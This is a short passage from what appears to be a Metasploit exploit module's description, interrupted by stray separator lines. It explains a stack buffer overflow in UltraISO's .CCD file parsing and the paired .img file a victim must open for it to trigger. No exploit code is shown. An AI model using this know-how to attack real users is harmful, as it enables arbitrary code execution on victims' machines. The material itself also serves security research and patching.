'Description' => %q{
|
||||
This module exploits a stack-based buffer overflow in EZB Systems, Inc's
|
||||
UltraISO. When processing .CCD files, data is read from file into a
|
||||
fixed-size stack buffer. Since no bounds checking is done, a buffer overflow
|
||||
can occur. Attackers can execute arbitrary code by convincing their victim
|
||||
to open an CCD file.
|
||||
|
||||
NOTE: A file with the same base name, but the extension of "img" must also
|
||||
exist. Opening either file will trigger the vulnerability, but the files must
|
||||
both exist.
